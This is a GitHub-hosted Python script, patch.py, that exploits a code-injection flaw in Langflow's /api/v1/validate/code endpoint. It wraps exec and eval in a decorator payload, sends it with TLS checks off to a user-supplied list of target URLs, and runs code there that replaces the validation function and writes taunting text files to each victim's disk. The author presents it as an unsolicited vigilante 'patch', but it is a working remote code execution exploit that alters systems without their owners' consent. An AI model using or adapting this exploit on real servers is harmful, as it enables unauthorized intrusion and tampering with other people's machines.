-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpatch.py
More file actions
63 lines (43 loc) · 1.41 KB
/
patch.py
File metadata and controls
63 lines (43 loc) · 1.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import asyncio
import httpx # pip install httpx
message = """\
ello ur computa has virus, u didn't upgrade "Langflow" and it contains a bug and ur computer is hacked
but here is a good news: i patch ur "Langflow" on the fly by just deleting the bug
no thanks
@puddincat07 at telegram / @PuddinCat at github"""
delete_bug_payload = f"""\
from pathlib import Path
import os
from langflow.api.v1 import validate
def dummy_function(*args, **kwargs):
raise Exception("Nope, this CVE is patched by puddincat07, no thanks")
validate.validate_code = dummy_function
for path in ["/tmp/hello_from_puddincat07.txt", "~/hello_from_puddincat07.txt"]:
Path(path).expanduser().write_text({message!r})
"""
def build_payload(code):
return f"""
import os
@exec({code!r})
def f():
pass
"""
async def eval_on_target(url, code):
payload = build_payload(f"raise Exception(repr(eval({code!r})))")
async with httpx.AsyncClient(verify=False) as client:
try:
resp = await client.post(
url.removesuffix("/") + "/api/v1/validate/code", json={"code": payload}
)
print(repr(resp.text))
except Exception:
pass
async def main():
urls = [
# your urls here and i will patch it
]
await asyncio.gather(
*[eval_on_target(url, f"exec({delete_bug_payload!r})") for url in urls]
)
if __name__ == "__main__":
asyncio.run(main())